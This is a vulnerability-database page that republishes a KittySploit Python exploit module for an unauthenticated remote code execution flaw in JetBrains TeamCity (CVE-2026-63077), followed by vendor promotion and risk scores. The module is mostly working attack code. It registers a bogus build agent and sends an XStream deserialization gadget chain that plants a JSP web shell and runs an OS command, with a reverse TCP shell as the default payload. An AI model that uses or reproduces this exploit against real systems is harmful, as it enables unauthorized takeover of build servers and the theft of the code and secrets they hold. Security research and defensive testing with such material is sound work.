Lucene search
+L

JetBrains TeamCity Agent Polling RCE (CVE-2026-63077)

🗓️ 10 Aug 2026 11:19:56Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated agent polling RCE in JetBrains TeamCity via XStream deserialization.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-63077 — JetBrains TeamCity unauthenticated agent polling deserialization RCE."""

from __future__ import annotations

import json
import secrets
import textwrap
from xml.sax.saxutils import escape

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "JetBrains TeamCity Agent Polling RCE (CVE-2026-63077)",
        "description": (
            "Exploits CVE-2026-63077 in JetBrains TeamCity: unauthenticated agent "
            "registration followed by XStream deserialization on "
            "/app/agents/v1/commands/error. The gadget chain writes a one-shot "
            ".jspws terminal under the TeamCity webroot and executes an OS command "
            "via Runtime.exec(). Success is confirmed by a per-run response token "
            "returned only after the process is created."
        ),
        "author": ["Rapid7 Labs", "KittySploit Team"],
        "cve": ["CVE-2026-63077"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-63077",
            "https://www.cve.org/CVERecord?id=CVE-2026-63077",
        ],
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/windows/cmd_reverse_tcp",
            "platform": [Platform.WINDOWS, Platform.UNIX, Platform.MULTI],
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "teamcity",
            "jetbrains",
            "xstream",
            "deserialization",
            "unauthenticated",
            "rce",
            "cve-2026-63077",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["teamcity"],
                "endpoint_pattern_any": ["/app/agents/v1/register"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "XStream agent error endpoint"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "suggested_followups": ["scanner/http/teamcity_detect"],
            },
        },
    }

    port = OptPort(8111, "TeamCity HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    webroot_relative = OptString(
        "../webapps/ROOT",
        "TeamCity webroot relative to HSQLDB process working directory",
        False,
        advanced=True,
    )
    command = OptString("", "OS command (overrides payload when set)", False)
    verify_cmd = OptString(
        "cmd /c whoami",
        "Command when set payload nopayload",
        False,
        advanced=True,
    )

    @staticmethod
    def _xml_text(value: str) -> str:
        return escape(value, {'"': """, "'": "'"})

    @staticmethod
    def _sql_string(value: str) -> str:
        return "'" + value.replace("'", "''") + "'"

    @staticmethod
    def _java_string(value: str) -> str:
        return json.dumps(value, ensure_ascii=True)

    @staticmethod
    def _random_tokens(count: int) -> tuple[str, ...]:
        values: list[str] = []
        while len(values) < count:
            token = secrets.token_hex(6)
            if token not in values:
                values.append(token)
        return tuple(values)

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _payload_command(self) -> str:
        manual = str(self.command or "").strip()
        if manual:
            return manual
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "cmd /c whoami").strip()

    def _build_registration_xml(self) -> bytes:
        agent_name, auth_token = map(self._xml_text, self._random_tokens(2))
        return f"""<?xml version="1.0" encoding="UTF-8"?>
<agentDetails agentName="{agent_name}" agentAddress="127.0.0.1" agentPort="9090" authToken="{auth_token}" pingCode="">
  <alternativeAddresses/>
  <availableRunners/>
  <availableVcs/>
  <buildParameters/>
  <configParameters/>
</agentDetails>
""".encode("utf-8")

    def _build_jsp_scriptlet(
        self, jsp_path: str, guard: str, response_token: str, command: str
    ) -> str:
        scriptlet = f"""
        <%
          if (application.getAttribute({self._java_string(guard)}) == null) {{
            application.setAttribute(
              {self._java_string(guard)},
              java.lang.Boolean.TRUE
            );
            java.nio.file.Files.deleteIfExists(
              java.nio.file.Path.of(
                application.getRealPath({self._java_string(jsp_path)})
              )
            );
            java.lang.Runtime.getRuntime().exec({self._java_string(command)});
            out.print({self._java_string(response_token)});
          }}
        %>
        """
        return " ".join(
            line.strip() for line in textwrap.dedent(scriptlet).splitlines()
            if line.strip()
        )

    def _build_payload(self, command: str) -> tuple[bytes, str, bytes]:
        webroot = str(self.webroot_relative or "").strip()
        if not webroot or any(c in webroot for c in "\x00\r\n"):
            raise ValueError("webroot_relative must be a non-empty single line")
        if not command or any(c in command for c in "\x00\r\n"):
            raise ValueError("command must be a non-empty single line")

        (
            file_id, guard, response_token, database_name,
            table_id, column_id, *map_keys,
        ) = self._random_tokens(9)

        filename = f"{file_id}.jspws"
        jsp_uri = f"/{filename}"
        output_path = f"{webroot.replace('\\', '/').rstrip('/')}/{filename}"
        table_name = f"T{table_id.upper()}"
        column_name = f"C{column_id.upper()}"
        jsp = self._build_jsp_scriptlet(jsp_uri, guard, response_token, command)
        init_sql = (
            f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
            f"INSERT INTO {table_name} VALUES ({self._sql_string(jsp)})",
            f"SCRIPT {self._sql_string(output_path)}",
        )

        payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{map_keys[0]}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>{self._xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>{self._xml_text(init_sql[0])}</string>
              <string>{self._xml_text(init_sql[1])}</string>
              <string>{self._xml_text(init_sql[2])}</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>
  <entry>
    <string>{map_keys[1]}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>
  <entry>
    <string>{map_keys[2]}</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>
</linked-hash-map>
""".encode("utf-8")
        return payload, jsp_uri, response_token.encode("utf-8")

    def _register_agent(self) -> tuple[bool, str, bytes]:
        response = self.http_request(
            method="POST",
            path=self._api("/app/agents/v1/register"),
            data=self._build_registration_xml(),
            headers={"Content-Type": "application/xml"},
            allow_redirects=False,
            timeout=int(self.timeout or 15),
        )
        if not response:
            return False, "", b""
        headers = {k.lower(): v for k, v in response.headers.items()}
        session = headers.get("teamcity-agentsessionid", "")
        body = response.content or b""
        ok = int(response.status_code or 0) == 200 and bool(session)
        return ok, session, body

    def check(self):
        try:
            ok, session, body = self._register_agent()
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"target unreachable: {exc.__class__.__name__}",
                "confidence": "low",
            }
        if not ok:
            return {
                "vulnerable": False,
                "reason": "Synthetic agent registration failed",
                "confidence": "medium",
                "detail": body.decode("utf-8", errors="replace")[:200],
            }
        return {
            "vulnerable": True,
            "reason": f"Unauthenticated agent registration succeeded (session {session})",
            "confidence": "medium",
        }

    def run(self):
        try:
            command = self._payload_command()
            payload, jsp_path, expected = self._build_payload(command)
        except ValueError as exc:
            print_error(str(exc))
            return False

        print_status("CVE-2026-63077 — JetBrains TeamCity agent polling RCE")
        ok, session, reg_body = self._register_agent()
        if not ok:
            print_error("Synthetic agent registration failed")
            if reg_body:
                print_info(reg_body.decode("utf-8", errors="replace")[:400])
            self.not_vulnerable()
            return False

        print_success(f"Registered agent session: {session}")
        command_id = str(secrets.randbelow(900_000) + 100_000)
        cmd_resp = self.http_request(
            method="POST",
            path=self._api("/app/agents/v1/commands/error"),
            data=payload,
            headers={
                "Content-Type": "application/xml",
                "TeamCity-AgentSessionId": session,
                "TeamCity-AgentCommandId": command_id,
            },
            allow_redirects=False,
            timeout=int(self.timeout or 15),
        )
        jsp_resp = self.http_request(
            method="GET",
            path=self._api(jsp_path),
            allow_redirects=False,
            timeout=int(self.timeout or 15),
        )

        jsp_status = int(jsp_resp.status_code or 0) if jsp_resp else 0
        jsp_body = (jsp_resp.content or b"") if jsp_resp else b""
        cmd_status = int(cmd_resp.status_code or 0) if cmd_resp else 0
        print_info(f"/app/agents/v1/commands/error -> HTTP {cmd_status}")
        print_info(f"{jsp_path} -> HTTP {jsp_status}")

        if jsp_status == 200 and expected in jsp_body:
            print_success(f"Command executed: {command}")
            self.vulnerable()
            return True

        print_error("Per-run token was not returned by the one-shot JSP")
        if cmd_resp and cmd_resp.content:
            print_info(cmd_resp.content.decode("utf-8", errors="replace")[:400])
        self.not_vulnerable()
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 11:19Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.8957
SSVC
1